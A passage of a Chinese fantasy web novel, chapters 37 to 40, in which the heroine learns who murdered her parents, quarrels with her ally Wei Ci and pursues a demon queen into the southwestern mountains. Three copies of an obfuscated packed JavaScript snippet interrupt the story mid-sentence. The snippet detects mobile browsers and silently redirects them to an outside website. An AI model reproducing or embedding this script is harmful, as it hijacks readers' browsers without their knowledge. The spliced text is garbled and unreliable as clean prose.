“这夫人哪,其实不该干涉他人的因果。一个人的气运是有数的,把自己的气运给了别人,自己不就没了?我是算命的我最清楚。”李老太太摇头咂嘴道,“这夫人捡回一个病人,给他喝了汤药。这人本是出门办货的商人,染上瘟疫病倒在路边,要死要活,喝了汤药刚捡回一条烂命,就反手杀了这位夫人,抢走药方,意欲到皇城献计邀功!可惜了,这药方从未公之于天下,更没有人知道这位夫人的名字,叫做江采云。” 苍名的腿软了。她觉得自己轻飘飘地往下落,未辞一步踏上来揽住她的腰,眼中寒光一闪。噼啪一声炸响,在白烟浓雾里,李老太太又被变成了人偶。 那人偶巴掌大的一只,立在地上,仍旧袖着手,随后三跳两跳地进了柜子,终于不动了。 苍名浑身发抖,使足了劲推开未辞。希声静悄悄地走到她身后,让她虚浮地靠在自己胳膊上。 “将军。”未辞眼中那股冷酷狠厉的劲儿消失了。他的脸也白了,悔恨和不安像一层纱一样,蒙上他如雕如琢的脸。 苍名问:“我爹,也是那人杀的吗?” “是。”未辞犹豫良久,低声说,“敬将军得知夫人死讯,从军营匆忙回乡,心神恍惚,半路被暗杀。是那卑鄙无耻的小人带着他恶毒的婆娘干的。” 苍名猛地上前一步,死死盯着柜子深处的李家两个陶人,将腰间的长剑扯下来攥在手里。随即整个人又坠落下去,跪坐在地,宝剑也当啷一声掉了。未辞匆匆俯身,单腿跪地,握着她的肩膀,好像试图把自己的体温传入她冰凉的身体。 “所以,那对不要脸的卑鄙男女为了不被报复,就斩草除根?”魏羌小心地看着苍名,面露忧郁之色,“他们害死的,就是鬼克星的父母吗?” “可是你怎么发现的?”无律皱眉看着未辞道,“当年没人知道怎么回事啊,只听说伯伯和伯母莫名其妙就……然后苍名就匆匆跋山涉水回家……唉!” 希声阴恻恻地说道:“你最好解释一下当年为什么插手管这事。那对凶手,是被你变成陶人的吧。” 苍名因心悸而剧烈咳嗽起来,气喘吁吁,眼泪浮在眼眶中。未辞后悔地说:“将军。” “你说啊。”苍名在咳嗽的间隙里,一把抓住他的衣襟,透过朦胧泪眼绝望地看着他,“到底怎么回事?是不是……难道……” “杀人真凶就是李重山夫妇,也就是,”未辞声音异常冰冷,“李弦真的父母。” “啊。”苍名两眼失神,耳朵嗡嗡作响。 “为什么你把他们变成陶人。”希声锐利地盯着未辞。 魏羌也帮腔道:“你和当年这事有何关系?鬼克星伤心得头晕了,我们可没晕,休要闪烁其词。” 未辞看着苍名,说:“李重山夫妇得罪了我,所以我把他们变成人偶。” “你是说,李家那对畜牲得罪了你,所以被你收拾了一顿,他们只是恰好是戕害苍名父母的罪人?”无律摸着下巴说道,“你这样,你再把那老太太叫出来,我们问问清楚。” “当年这桩案子悬而未决,无一人知晓细节。”希声背着手说道,“现在有了当年的目击者,再好不过了,叫出来问问吧。” 未辞浓眉紧锁,对周围置若罔闻。 其他人说来说去、神情顾虑的一段时间里,苍名又伏在地上咳了一阵,浑身打起了摆子。她想问些什么,又不知从何问起。 是问父母到底是被什么凶器戕害,还是问父母被分尸后零落在哪些地方? 是问未辞为什么不杀了那对凶手,还是问李弦真凭什么嫁到外地就逃过一劫,没被变成人偶? 李弦真的脸和花怡的脸浮现出来,也是两张苦命的脸。他们应该一起被变成人偶吗?苍名头痛欲裂,心乱如麻。原本虚假的平静日子,令人痛苦地破碎了,在这个瞬间,她却想到了钟无期那辆坍塌散架的破车。 未辞俯身凝视着苍名,轻声说:“将军,不要再管李弦真的事了。那老鬼如何,更休要再插手。” 其余几人都沉吟不语。无律斟酌半天,说:“不救 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15172751|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李弦真,也有不救的道理。两代旧事,血海深仇呢。” 苍名抬起头看着未辞,惨淡地说:“多谢你了。” 未辞眼中郁结之色越来越深:“将军。” “难怪你总是叫我别管这些事。”苍名干涩地笑道,“我自己的父母,都是这样死的,我还管什么别人呢……管的还是仇人的女儿和孙儿……” 一排侍者静悄悄地溜了进了,领头的那个垂手站在未辞眼前,无声地说了些什么。未辞只是微微点头,毫不在意,似乎对这消息早有察觉。一排侍者便又静悄悄地退下了。 无律叹了口气,用拐棍敲着天心沭说:“所以这大块头怎么办?送回到微城算逑了?可是珠冠的线索呢,从此也不管了?” 被拐棍敲打了几下的天心沭,忽然甩开宽大的袖子,像一只冰雪巨鸟一样腾空而起。几乎看不清她的动作,就见后门被撞开,她的身影跃到门外数十丈之处。 同一瞬间,希声和无律断喝一声:“有妖气!” 古楼之外,鬼影重重。数不清的妖兵鬼将,手持各色刀枪棍棒,密密麻麻汇成一片,隐入夜色之中。 天心沭一跃出去,那群妖鬼僵尸便将她团团围住,大声欢呼。其中有个黑影骑在高头大马上,喊得格外响亮:“恭贺大王杀出重围!恭贺大王打遍天下无敌手!” 天心沭骂道:“闭嘴。” 骑马的喽啰报喜似的叫道:“报大王,方才一接到大王的密令传讯,我就带队赶来接应了!”他身穿战袍铁甲,脸却和夜色一般漆黑,好像衣领上方缺失了一颗头颅,帽子悬空浮在项上。而他座下的马是好马,可惜中了一箭。 正是副将骑着亡灵黑马,带着兵团前来接应,护驾回鸾。 无律长吁一口气,骂道:“他大爷的,吓死爹了,我还以为我一拐棍把天心沭打活了,原来是符咒早就失效了。” 魏羌说:“恩,我也看出来了,八成是咱们说话时她就解了咒,悄悄放信给手下,表面还装作被定住的样子呢。” 苍名就瘫坐在原地,呆呆地看着天心沭率一众大军撤退。副将吼叫道:“大王,要不要攻下此楼!”被天心沭一句骂倒,不敢再提。 天心沭消失在天际之前,回头愤恨地盯了一眼苍名和未辞。从她的眼神里,苍名看出她想抢回李重山夫妇的陶人,同时将古楼爆破,再把苍名一行人都狠狠踩死。但她没有率军调头回来,只是明智地远走高飞,逢焉城的夜色中扬起动荡鬼气,这一夜城里许多人都做了噩梦。 未辞说:“随她去吧,将军,不必再管了。李重山夫妇的陶人,就收在柜子里,以后可以交给你,你想怎么替父母报仇都行。” 苍名又伏在地上,低垂着头。从紧闭的双眼眼角,流出源源不断的眼泪。无律想到世伯和伯母,恍如隔世,也悲从中来,鼻头通红。 未辞小心翼翼地将苍名轻轻抱起,无言地低头看着她。她用双手捂住脸,不让任何人看见眼泪。 无律落寞地说:“行了,咱们三个,回去吧先。” 希声又怀疑地看了一样未辞,被无律和魏羌一边一个拉着走了。三个人参差不齐的脚步声很快就消失在森林和江水之间。 侍者悄无声息地合拢了后门,默默退下,楼中只余苍名和未辞二人。 未辞艰难地开口道:“将军,我……我不该突然告诉你的。是我昏了头了。你怎么责骂我都好。” 苍名的脸埋在他的脖颈之间,待要说什么,门外忽然传来一阵躁动。有人在大吵大嚷着,似是来索命一般。 38. 此去不忆君 未辞轻轻将苍名放在柜台上,让她像孩童一样坐在上面。门外的谁还在呜呜哇哇地叫着,叮叮咣咣地敲着。 未辞只是皱了皱眉毛,门外的动静就即刻消失了。他拾起地上的长剑,拿在手里,不知所措地看着她。 苍名低着头,突然像自我安慰一样说:“其实,已经过去十年了,比最初的时候好多了。” 未辞一言不发地看着她。苍名双手撑着柜台边缘,双腿无意识地前后荡了两下,又说了一遍:“过了这么久,已经比当初好多了。” 未辞垂下了头。苍名凄凉地轻轻笑了一声:“对了,来这里之前,我见到天心沭起舞做法,竟不输于我……我们忘仙派。” “谁也比不上你的舞。”未辞静静地说了一句。 “不是。”苍名摇头道,“我突然明白了,可封神者,千千万万。或许就算没有当年的波折,我也成不了神,哈。”一顶谁也没见过的、失窃的未央冠,仿佛从最初就为整个十年埋下了隐喻——神路漫长,神路未央。 “将军,谁也比不上你的舞。”未辞看向她,眼中全是过去的影子,“即便是千军万马中,第一眼也只会看见你。” 苍名寡淡地牵扯了一下嘴角,说:“你又并没有见过我在千军万马间起舞斩魔。我们一众弟子浩浩荡荡地去剿鬼,已经是十几年前的事了。” 未辞欲言又止地看着她,面带一丝若有若无的忧伤微笑,仿佛连比那更久的事情都知道。 苍名恍恍惚惚地跳下柜台,拿起长剑,看着柜子里的那对陶人。李重山夫妇彩釉剥落,面孔模糊,有一瞬间苍名想将他们变回人形,凌迟至死,或是直接一手一个擎起陶人,摔向远山,碎片飞溅。 然后她打了个冷战,用剑柄轻轻合上了柜门。一旦仇人近在眼前,任意蹂躏,苍名反而面对着一片更广阔的茫然。 不知这两个凶手能不能交待出父母尸骨散落之地,如果找齐了尸骨,能不能召回父母的残魂?她决定先回到客栈去。她需要想一想,听听希声和无律的办法。 守着这样一对见不得天日的陶人,难怪李弦真最后只能躲在冥界,人不人鬼不鬼,在一群魂魄之间苟活。苍名的眼睛逐渐聚焦起来,看向未辞道:“这对陶人,怎么又回到了李弦真手里?” 未辞道:“将军,其实我本来将这对陶人安置于一座墓前,叫他们负罪守灵,将来好……可惜不久后有盗贼潜入那座墓,陶人也不翼而飞,想来必定是在江湖几经转手。我猜后来天心沭逐渐成了气候,将陶人找到,还给了李弦真。” 苍名忽然想到什么:“未辞,你是什么时候知道李重山夫妇是杀害我爹娘的凶手的?从我们刚认识的时候,就知道吗?” 未辞抿起嘴唇,看向一边:“那天江边黄昏,飞霞满天,你终于袒露自己的确是忘仙派舞将军,那时我已知道这对凶手与你的关系……只是那时陶人丢失,我也无可多说。总之,我与他二人有刻骨深仇。” 苍名点点头,见未辞不愿多说,她就很识相地一句都不多问。妖王的过去么,总会比一般人更神秘和复杂,正如妖王连自己的真身都不曾透露。按照苍名的猜测,他八成是一只俊秀狡黠的玉面九尾狐狸。 她环视四周,破旧板壁之间空空荡荡,才发现希声他们早已经走了。 未辞察言观色:“将军也要回去了吗?” 苍名说:“是。这对陶人,我想来想去还是放在你这里最安全,能不能有劳你保管?” 未辞说:“这自然可以,将军有什么尽管吩咐我便是。” 犹豫了一下,苍名说:“虽然不知这对陶人如何得罪了你,但如果可以的话,能不能让我来处置他们?” 不等未辞答话,她又说:“如果你需要留他们的活口,我一定不会杀他们就是了,我只是想要……” 未辞闷闷地说:“将军,你怎么总是这么小心翼翼的?要杀要剐,你拿去就好。” “这一次,真是又多谢你了。”苍名低头说,“我要先回客栈,顺便想想老鬼莲是不是偷了未央冠。” “将军,难不成你还要去证道成神?”未辞眉毛拧了起来,一脸的无奈又费解。 “实不相瞒,看了天心沭的舞,我才明白世上不应只有一个主角。”苍名抱起手臂看着夜空,东边已经泛起黎明的亮色,“从前我被奉为忘仙派第一弟子,次次剿鬼必是我唱主角,无数师姐师妹,师兄师弟,都簇拥在我的周围,伴着我的一举一动而起舞。” “恩?”未辞一时不解其意。 “现在我才觉得,如果一场舞只有一个主角,那千千万万的配角又该怎么样呢?”苍名凝神道,“正如修仙者谁不想成神呢?一将功成万骨枯,成不了神的人,就只能给成神者做配吗?” 未辞一扬眉毛,看起来立刻有点高兴:“将军,你终于想通了,成神又有何趣。” 苍名淡定地一笑:“不过,我还是不想放弃成神。至少,先把未央冠找回来吧。” 未辞:“……” 就在苍名挥手告别时,未辞忽然拉住她的手臂:“未央冠找回来之后呢?下一步是探求宇宙终极奥义?” “……”苍名尬笑一声,“这个,谁没年轻过呢,这句话就不要提了嘛。” “将军,何必卷入这些是是非非?”未辞急促道,“老鬼莲也好,天心沭也好,背后必有靠山,深不可测。否则在雪树森林中,你怎会失去法力,还手不得?” “未辞——”苍名被直戳痛处,瞪着他叫了起来,“我知道好几次都是靠你帮忙解救我,可我的本事——也不差啊!”还有半句话,怎么听都像是弱鸡在找借口,被苍名生生咽了回去:只不过自从到了逢焉城,运气就见鬼般地更差了。 和老鬼莲、天心沭分别大战若干回合,竟始终拿不下他们,这让苍名,一代杰出散仙,百思不得其解。 两人大眼对小眼,面冷心冷,僵持不下。最后苍名先开口,略微生硬地说:“我回去了,该做的事,我一件都不会少做的。” 未辞叹了一口气,说:“你明知道我还是会帮你。” 那一瞬间,苍名觉得一颗心像被无数根细针扎着一样。她不知不觉地问出了心里早就存有的疑问:“未辞,你呢?你活着,又是为了什么?” 未辞负着手微笑道:“我是旧货郎,活着大概是为了搜罗有趣玩意,雪晚湖边饮酒,侍弄花花草草。” 苍名苦笑着摇了摇头。 未辞收敛了笑意,敏锐地看了她一眼,幽怨道:“将军是不是觉得我每日无所事事,只知跟着你打转,既无本领又无志气。” 苍名疲惫地打开后门就往外走,有气无力地说:“我不想说这些了,你别多想。” 未辞看着她的背影,冰凉地说道:“将军,你毕竟还是太年轻了。” 苍名猛地转过身来,双眼通红地看着他:“你知不知道我今晚很累?刚揭开了父母的死因,又要听你那一套勿要成神论吗?” 未辞似乎连呼吸都停滞了。不等他再说什么,苍名头也不回地冲出门去。跑开几步,她突然停住脚步,回头看了一下。 未辞最后看了她一眼,便转过身,向古楼深处走去。瘦高的背影挺拔矜贵,却又十分落寞。他一步一步走得很慢,似乎希望苍名会叫住自己。 苍名没有叫他,只是泪眼朦胧地看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15178602|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他,难以相信未辞竟然会转身给自己看背影。 人家为什么要永远对你陪笑脸呢?你忘本了,还真拿人家当成下属了。苍名对自己这样说着,抹掉眼中蓄满的泪水,黎明前的江水和森林便出现在眼前了。 向着息园三坊的方向,她提着长剑,垂头丧气地走去。古楼的后门在背后慢慢合拢,砰地一声关闭了。 就在她不顾耻辱地幻想未辞会不会追出来时,一道人影真的从林子里窜了出来。 “未辞!”苍名脱口而出。 只见那来者却是黑得看不清面孔和躯干,浑身零落披挂着碎布和木棍。伴随其出场的,是满地打滚的重影和震碎九霄的咆哮。 “大胆叛徒,欺师灭祖,还不将未央冠速速还来!”那黑影一边乱踢乱打,一边撒泼放赖,“一个小白脸,一个小婊子,我呸——” 苍名抬手架剑于身前,盯着那堆破烂辨认了半天,借着一缕东方的微光,难以置信地说:“钟无期?” …… 神圣仙人钟无期竟爬回了逢焉城。他手脚负伤,站立不稳,显然已在古楼外喧闹多时。他浑身上下布满血痂淤青,不知是方才被未辞一记暗招无声无息地打成这样,还是颠沛流离一路挨揍所至。 苍名厌恶地看着他,冷不防一剑直指他喉咙。 “杀人啦,神仙杀人啦!”钟无期看准自己这条小命必不会葬送于此,肆无忌惮地号了起来。 剑尖往肉里贴入二分,不轻不重,再刺一下就要穿破皮肉。 钟无期不喊了,破锣喉咙一动不动,生怕咽口吐沫就会让剑扎进去。他两眼发直,向下看着寒光冰刃,几乎快要对眼了。 苍名冷冷清清地说:“铜铎山抵给谁了,地契交出来。”剑尖又往前送了一送,她淡淡地看着钟无期,说:“告诉你,神仙也落魄呢,杀人算什么。” 钟无期叮了咣当地举起双手,鼻腔中嘤嘤鸣叫,表示自己即刻臣服。他身上绑了一副提线木偶,在铜铎派的破布衫里若隐若现,好像背了个人。那是一副散架的木偶,钟无期最忠实的朋友,他一直没有找到工具把它修好。 北原雪结,东海潮升。南江召霞,西山晚钟。昔日的四大流派,如今萧条至此。 若是坊间说书人看见云雾朝霞中,忘仙派第一弟子与铜铎派现任掌门对峙反目,一立一跪,一个比一个赤贫,恐怕回去就会编出新的笑话本子。 苍名一声长叹,缓缓收回冰刃宝剑,剑尖上已经挑着一个轻巧的银匣。手腕轻轻一抖,匣子飞入苍名手中,长剑归鞘。 钟无期猛地一摸胸口,五花大绑的链子上空空荡荡。他先是对苍名怒目而视,然后舌头舔着尖牙,笑了:“你拿去好了,拿去了债就是你的了,我是还不起的。” 苍名将银匣收入腰带缀着的锦囊中,钟无期还在哔哔叨叨:“先父有恩于音律仙,他不会奈我何,你管哪门子闲事,回去包养你的小白脸岂不妙哉?” 苍名有条不紊地整理着衣襟和腰带的缀角,甚至对他冷艳一笑,大有希声之风。 钟无期从提线木偶卷曲的手里抠出一样东西:“哦,这是有个老不死的让我带给你的,不然谁会来找你这晦气丧门星,他出了三两银子我才答应的!” 苍名随手接过那样东西,旋即挥手洒出一阵树叶变成的黄符雨。 片片黄符将钟无期定在原地,就像以往定住恶鬼邪妖一样。接着,一口指甲大的坛子被抛上清晨的天空,伴随着鸟鸣,越变越大,从天而降,整个扣在了钟无期身上,像一座山镇住一只妖。 苍名哼了一声,低头去看手里那样东西。那是一片莲花的花瓣,闪着妖异的光。 39. 万花镜迷心 花瓣上书:吾女虽作恶多端,善用诅咒,然则念其年幼无知,万望道长大人高抬贵手,可怜老父之心,不胜感激。 苍名刚读完这几行龙飞凤舞的字,花瓣就呲啦一声枯萎了,像烧过的纸一样碎成一地粉末。 苍名再次冷笑一声。把钟无期和坛子抛在身后,她径直往息园三坊扬长而去。 城中人家的屋顶,都升起了清晨的炊烟。鸡犬相闻,晨光熹微,息园三坊也已经敞开了大门迎来送往。 苍名一步迈进客栈大堂时,坐在桌边喝粥的几人都打了个冷战。 无律捧着粥碗道:“你怎么变得这么……冷峭?” “是吗。”苍名端起一碗热茶水一饮而尽,拿着一块龟壳烧饼抛了抛,放到尖牙下面咬了一口。 “鬼克星变得消沉冷酷了不少。”魏羌回想方才被算命李揭开的惨案,充满同情地说,“经历这种见鬼的事情,没个三年五载缓不过来的。” 寻烟和觅霞还在源源不断地往桌上端烧饼,希声不见踪影,也许是回房中静坐放空去了。 苍名说:“老鬼莲派人来送信了。” 无律哟了一声,笃定道:“他大概是听到了我放出去的风声,知道天心沭落入你鬼克星手中,果然开始百爪挠心,蠢蠢欲动。” 苍名轻蔑地说:“可惜他在信上说,一切恶行都是天心沭做的,看来是巴不得让天心沭替他顶罪呢。” 无律大为不解:“我真看不懂他了,难道一点都不念及父女之情?啊,我知道了!” 他猛地一拍大腿:“天心沭是他老婆跟别人生的!” 魏羌无语地看着他得意洋洋的脸,说:“不见得吧,既然天心沭认这个父亲,那我猜更有可能是老鬼莲觉得女儿法力更高,权势更盛,拿她当做挡箭牌吧!” 苍名点头道:“的确。生个女儿,用来供养自己,也不是什么稀罕事,大街小巷无数人家里不知有多少这样的人物。” 无律用拳头敲碎一个烧饼,拾起一块一块的碎片扔进嘴里,含含糊糊地说:“随便喽,反正你还是要去找老鬼莲的,我知道的。” 魏羌问道:“鬼克星,接下来去哪?” “要循着天心沭的行踪,一路追过去。她必定会去找老鬼莲,将他牢牢控制住,才能让李弦真免于送死。”苍名呷着茶水,不紧不慢地说,“天心沭身上,其实被我藏了一张定位黄符,不是树叶变的,没那么容易失效。” 魏羌无比崇敬:“啊呀!真行啊!我们都没看到你什么时候贴上去的!” 苍名往上牵扯了一下嘴角,又说:“然而,天心沭生性多疑,一定能猜到我会想方设法追踪她,所以她大概会自己乱转,而让副将去打探老鬼莲的方位。” 魏羌一拳砸进另一只手心:“那咱们就去找副将!怎么找?” 苍名说:“副将赶来救驾时,震得林边树叶都簌簌而下,有几片叶子飘落在他的铠甲上,被我遥遥施咒,变成定位黄符。” 魏羌激动得都喘不上气了:“那种时候,你竟还有心思施法?哎呀,不愧是仙,我可能这辈子都化不了仙了——” “修行到一定境界,便可以化意为形,从心所欲,无所顾忌。”苍名笑了一下,洁白如冰的脸上有所回暖,“然而,我们还是要追天心沭,分出一只眼睛留意副将即可。” 魏羌还在回味无穷,无律懒洋洋地开口道:“不错,天心沭还是会自己去找老鬼莲的,副将那没用东西。多半只是个障眼法。” “那么,我该出发了。希声呢?”苍名站起身,扫了扫袍子下摆,海蓝色衣料上星光闪动。 “希姑娘接到一封信,就回房去了,半天没出来了。”觅霞静悄悄地从昏暗的角落里冒了出来,咧着笑口如实回答道。 苍名道:“我去看看,跟她打个招呼。” 希声的房门虚掩着,敲了两下,无人应答,苍名直接推门而入。 房内还是一片石色。石头垒成的床上,希声盘腿坐着,长发遮住半边脸。 苍名想到自己未换寝衣,穿的还是在外摸爬滚打的袍子,不能像小时那样一起坐在床上。于是拎起两块砖走过去,在旁边找块空地坐下。 希声转过脸看着她,幽幽说道:“那东西又来了。” 苍名的后背立刻起了一层凉意。手扶剑柄,不动声色地环视一周,屋里静如雪夜。 呼啦一声,墙上突然出现一排人影。 苍名猛地转身出剑,剑气震得对面哗哗作响。 却是石柜上躺着的一排纸人手拉手坐了起来,被朝阳投影到墙壁上。 纸人在希声房里飘了一圈,又笑嘻嘻似的溜去大堂里玩了。 “是万花镜,又来了。”希声从枕头底下抽出一封信,递给苍名。 苍名扫了几眼,屏住呼吸,心脏高高地悬了起来。信上写道,殷父连日卧病在床,恐是所剩时日无多,叫希声务必即日启程赶回老家。 希声的父母都不会写字,这篇三言两语的蝇头小楷,多半是希声的母亲托代笔人写的。 而在外做零工的希声,也曾为客人代笔,写过许多封这样的信。那些信或是急迫,仓促,重如千钧,或是惨淡,轻快,报丧报喜。 拎着一个简单的包袱,希声直挺挺地站在门槛前出神。无律和魏羌经苍名转述,得知消息,全都看着希声,一脸不知该说什么的表情。 希声坚持不让几人跟她一起回家,她叫苍名去找未央冠,叫其余人该做什么,就做什么。又愣了一会儿,她说:“我不想你们看见,我想自己一人。我早该出发了,可我又不知怎么上路。” 无律过去轻轻拍了两下她的肩膀:“路上慢点。” 魏羌突然反应过来,翻箱倒斗,搜刮出一些人参须子和各式草药:“奏潮仙,别人不去也就算了,我必须要去给殷老先生开方子。” 希声眼睛微微亮了一下,说:“那好。” 带着一身红袍的魏羌,希声踏上返乡的路。据苍名的印象,希声的老家在西南某地,距离逢焉城有三天的马车车程,两天的骑驴驴程,一天的牛犁犁程,一天的徒步脚程。 临走前,希声回头看了一眼苍名:“你真要找那么老的?” 苍名一愣,一时不知道怎么形容自己和未辞的关系。从这个黎明开始,他们也许已经是陌路人了。 无律替她回答:“没关系,她的心已经老了,不比一千岁的差。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15178603|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>希声点点头,就携着魏羌渐行渐远了。 寻烟和觅霞一边一个趴在门口,虽然关切而不安地看着希声的背影,却还是很挂着一脸灿烂的笑容。 苍名揉了揉眉心,觉得一团混乱。无律拄着拐棍转过来,说:“怎么着,咱们也走着?” 苍名稍加思索,说:“既然只余你一个自由身了,还是不要都离开大本营比较好。不如你留在客栈打理日常事务,顺便帮我留意副将,如何?” 无律毫不在意地说:“这当然行了,需要我做的,你列出来就是了。” 苍名传授独门咒文诀窍,如此这般,如此那般,便能感应树叶定位符的方向所在。无律一一记下。 想到古董店外那口坛子下扣着的钟无期,苍名决定还是先绝口不提,免得无律徒增烦恼。无律对钟无期恨之入骨。却又每每为恩情所缚,她甚至担心无律会跑去给钟无期送饭。 虽然用黄符定住了钟无期,但苍名也不知道他能拿来干嘛。黄符足以保凡人数月不吃不喝,坛子内部也可通风,居住环境良好,说不定还比他平日里住的地方强些。 想到父母,又想到希声,百般愁绪涌上心头,苍名决定先把钟无期放在那里算了。 至于那一对万死难辞其咎的陶人,一想到自己将要毁灭他们,残忍的快感带来一阵心悸战栗。 毕竟,在离开客栈之前,苍名问无律:“你可知有什么方法,能让灰飞烟灭的魂魄重新聚合吗?比如,如果找齐了他们的尸骨,或者知晓他们死去的地点……” 无律了然于心地看着她,过了半晌才慢慢说:“苍姐,我们不是天神,就算天神也不能随便给人还魂。” 他还问:“如果你再见到那个李小姐和花怡,还预备救他们吗?” 苍名竟哑口无言了。 披着连帽斗篷,扣上兔脸面具,苍名走上出城的长街。 街上吆喝声此起彼伏,卖保命锁和驱邪水的又在争抢地盘了。 一片墙根下,摞着不甚新鲜的菜叶,小贩有气无力地叫卖。一排窝棚里,妇人用剪刀裁着粗糙的布片。 一家狭窄的金店前,一位面色黧黑的父亲给女儿买一片镀金的铜锁,面露喜色:“将来,等你老了以后,至不济还能把这卖了换钱,安度晚年。” 那薄薄的一片锁,怎么看也咔嚓不下来几钱金子,是富贵人家看都不会看一眼的杂色,而那位父亲还是喜气洋洋,已经心满意足。 苍名面无表情地走过这些光怪陆离的街景,眺望一眼古楼,决计回来后就潜进去偷出李重山夫妇。那时未辞大约也已经忘了自己,八成会放松警戒。 人人都能在古董店中找到自己想要的东西,难怪三界神魔都对古董店趋之若鹜。连苍名也要当一回盗贼了,想到这一下要损多少功德,苍名两眼一黑。 她想起初来逢焉城的那天早晨。此时此刻,好像恍如隔世,又仍旧两手空空。 突然,她又想起自己不算两手空空。除了腰间的冰刃宝剑以外,传音耳环还牢牢戴在双耳上。那一小盒唇脂就在衣襟里,和铜铎山的地契放在一起。 而最重要的是,在离开息园三坊之前,鬼使神差地,她把银发冠戴在了头发上。 40. 山精引红线 这一年立春过后,西南地气和暖,山中较之往年格外赤日炎炎,几乎已到了离奇诡异的地步。 往年此时初绽的梅花,今年竟已然开尽。山樱花连绵如云,但见草长莺飞,风过樱吹雪。再往山深处去,桃花杏花压满枝头,日光下彻,潺潺溪水都被晒得暖热如温泉,四野一派暮春景象。 天心沭最后的踪迹,就止于此地。循着那张定位符的游丝,苍名天南地北,走遍国境之内大小州府,简直像四处云游赶场一般。 起先,定位符散发出的游丝源头,在中原以北的地方。苍名白天大步流星,夜里无人处御剑飞行,穿过数座城镇,只一天半的功夫便到了山海关。定位符的信号却断了几个时辰,而后突然闪现于西北大漠之中。 苍名咬牙切齿地画了一张瞬移黄符,由于在画符这类手艺活上不如希声心灵手巧,画废了好几张符纸,终于随一阵疾风向西瞬移出约莫九百里地,再改换冰刃长剑飞行。飞到离大漠边缘几十里地时,苍名站在剑上,忽然觉得不对。 定位符的方位,又跑到了东南沿海一带。 等苍名调头赶到东海,游丝竟又突然断了,不久便出现在西南。 苍名骂骂咧咧地赶来这片西南群山之中时,定位符大概也终于失效了。群山寂静,鸟鸣空灵,杳无人烟。 在山前站定,苍名略一运气,朗声说道:“阁下不妨现身吧。” 山里当然无人回应。苍名的声音如水波纹扩散出去,回响互相重叠。早知道会被天心沭耍得团团转,还不如去跟着副将。难道这次天心沭把要事交给副将去办,自己到处跑着兜圈子玩? 但那副将身上的定位符,却是几日前就来到西南,直到失效也没再移动过。 她叹了一口气,只得用长剑劈开乱石枯藤,倒也慢慢开出一条进山的野路子。行至半山,便渐渐觉得蹊跷:“活不见鬼了,怎么这山上连一户人家都没有?” 待要踏着长剑飞上半空一看究竟,身后突然沙沙一阵急促乱响。 苍名转身看去时,那沙沙声又蹿到背后,好像故意躲着她一样。待她再要转身,那东西嗖地又动了,仿佛一直有双眼睛死死盯着她的后背。 叮地一声,苍名一弹剑刃。立刻便有个声音哇哇叫起来:“要死啦,别敲啦!头要炸开啦!” “现!”苍名循声一剑刺去,剑气激荡,剑声长鸣,震得半人高的野草唰地分开,露出中间那怪模怪样的一团红色东西。 那艳红色东西大喊一声,轮起短腿,用两只短手捂着脑袋就要跑,被苍名一剑挑起腰带勾了回来。苍名将它举到眼前,啧啧惊叹地打量一番:“你是……萝卜?” 剑尖上悬挂着的东西若说是萝卜,也未免太过于黢黑干巴了一些。这段细身子上长了一副短小四肢,躯干裹着一块红布,脸蛋丑得出奇,几乎都皱得像树根了。苍名脱口而出:“你是副将判木的儿子?还是孙子?” 那萝卜根尖声尖气地骂道:“你说谁是孙子?你才是孙子!” “……”苍名定睛细看,又觉得不对,“你没有副将那么黑,倒是黄得很……怎地像得了黄疸?” “走开!”萝卜根在空中扭来扭去,被挑起的那一点红布马上要被剑刃划破,“你要是把我的衣服割断,我就只能认你做主人啦。” 那双黑豆眼睛狡猾地瞄了过来,苍名突然灵光乍现,大叫一声:“人参娃娃!” “烦死了!”人参娃娃被一眼识破,顿时悬空拳打脚踢。苍名稀奇道:“你不在长白山里,跑到这么远的地方做什么?” 山参有灵,会遁入地底,还能化为人形。采参人用红绳拴住人参须子,以防它在满月之夜逃走,再回去招呼同伴一起来挖,行话里将这人参叫做棒槌。而若用红布盖住人参娃娃,则能将之驯服,为己所用,直到红布裂开才能放其自由。 魏羌曾说起过人参娃娃,他的原话是,这东西略有些聪明心思,但不甚多,只有最大的那株人参具备真才实学,乃参中之王,被看作是山神化身。老参派喜穿红衣,皆因本派弟子每日进山采药,时常碰到人参娃娃,撕下一条红色下摆就能俘获一只、带回去献给炼丹房。 苍名挑着眼前这只人参笑道:“我才不会割断你的红衣裳。若你是别人收服的,我岂能随便破坏你们之间的契约?” 那人参见逃跑不成,立马又眨巴着黑豆眼睛说:“我是被抓来的,有个老头子要吃小孩,我怕极了。” 